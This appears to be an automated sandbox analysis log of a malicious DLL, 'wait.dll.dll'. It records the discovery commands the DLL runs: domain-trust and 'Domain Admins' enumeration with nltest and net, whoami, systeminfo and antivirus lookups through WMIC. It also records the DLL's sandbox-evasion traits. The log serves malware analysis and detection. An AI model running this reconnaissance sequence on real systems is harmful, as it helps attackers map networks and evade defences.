Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\wait.dll.dll,Jump
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",Jump
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts /all_trusts
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net group "Domain Admins" /domain
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 group "Domain Admins" /domain
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net config workstation
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net config workstation
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 config workstation
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /V /B /C:displayName
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c whoami /groups
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\whoami.exe whoami /groups
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\wait.dll.dll,Jump	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",Jump	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wait.dll.dll",#1	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c systeminfo	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all /domain	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c net config workstation	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe /c whoami /groups	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net group "Domain Admins" /domain
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 group "Domain Admins" /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net config workstation
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 config workstation
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /V /B /C:displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\whoami.exe whoami /groups

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\nltest.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\nltest.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\nltest.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net.exe	Section loaded: browcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net.exe	Section loaded: browcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\whoami.exe	Section loaded: version.dll
Source: C:\Windows\System32\whoami.exe	Section loaded: authz.dll
Source: C:\Windows\System32\whoami.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\whoami.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\whoami.exe	Section loaded: netutils.dll

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Jump to behavior

Source: wait.dll.dll

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: wait.dll.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: wait.dll.dll

Static file information: File size 2151936 > 1048576

Source: wait.dll.dll

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x12fe00

Source: wait.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: wait.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: wait.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: wait.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: wait.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: wait.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: wait.dll.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF

Source: wait.dll.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: wait.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: wait.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: wait.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: wait.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: wait.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\explorer.exe

Code function: 8_2_0E4589E4 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

8_2_0E4589E4

Source: wait.dll.dll

Static PE information: real checksum: 0x1d7e57 should be: 0x216e55

Source: wait.dll.dll

Static PE information: section name: .didat

Source: C:\Windows\System32\rundll32.exe	Code function: 3_3_000001CEAFDF0105 push ecx; retf	3_3_000001CEAFDF010E
Source: C:\Windows\System32\rundll32.exe	Code function: 4_3_0000027619780105 push ecx; retf	4_3_000002761978010E
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_000002339FC40105 push ecx; retf	6_3_000002339FC4010E

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Boot Survival

Uses net.exe to modify the status of services

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\net.exe net config workstation

Uses whoami command line tool to query computer and username

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\whoami.exe whoami /groups
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\whoami.exe whoami /groups

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\explorer.exe

Code function: 8_2_0E4576DC rdtsc

8_2_0E4576DC

Source: C:\Windows\explorer.exe

Code function: 8_2_0E454948 CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,OpenProcess,StrStrIA,StrStrIA,StrStrIA,TerminateProcess,CloseHandle,Process32Next,CloseHandle,

8_2_0E454948

Source: C:\Windows\System32\rundll32.exe	Code function: GetUserNameW,GetComputerNameExW,GetComputerNameExW,GetTokenInformation,GetNativeSystemInfo,GetAdaptersInfo,GetAdaptersInfo,	3_2_000001CEAFC94D00
Source: C:\Windows\System32\rundll32.exe	Code function: GetUserNameW,GetComputerNameExW,GetComputerNameExW,GetTokenInformation,GetNativeSystemInfo,GetAdaptersInfo,GetAdaptersInfo,	4_2_0000027619644D00
Source: C:\Windows\System32\rundll32.exe	Code function: GetUserNameW,GetComputerNameExW,GetComputerNameExW,GetTokenInformation,GetNativeSystemInfo,GetAdaptersInfo,GetAdaptersInfo,	6_2_000002339FBA4D00
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	8_2_03038424
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	8_2_03037274
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	8_2_08387274
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	8_2_08388424
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	8_2_08857274
Source: C:\Windows\explorer.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,wsprintfA,wsprintfA,wsprintfA,GetComputerNameExA,wsprintfA,GetComputerNameExA,wsprintfA,	8_2_08858424

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8CFDCBC WTSGetActiveConsoleSessionId,WTSEnumerateSessionsW,WTSFreeMemory,WTSQueryUserToken,GetLastError,SetupDiGetClassDevsW,GetLastError,SetupDiGetDeviceInstanceIdW,GetLastError,StrStrIW,SetupDiGetDeviceRegistryPropertyW,lstrcmpiW,CM_Get_DevNode_Status,SetupDiOpenDevRegKey,RegCloseKey,SetupDiEnumDeviceInfo,SetupDiDestroyDeviceInfoList,CloseHandle,

3_2_00007FF8A8CFDCBC

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2241	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 526	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 6837	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 879	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 876	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_3-54165

Source: C:\Windows\System32\rundll32.exe

API coverage: 3.7 %

Source: C:\Windows\System32\loaddll64.exe TID: 5856	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6448	Thread sleep count: 2241 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6448	Thread sleep time: -2241000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1276	Thread sleep count: 526 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1276	Thread sleep time: -52600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6448	Thread sleep count: 6837 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6448	Thread sleep time: -6837000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
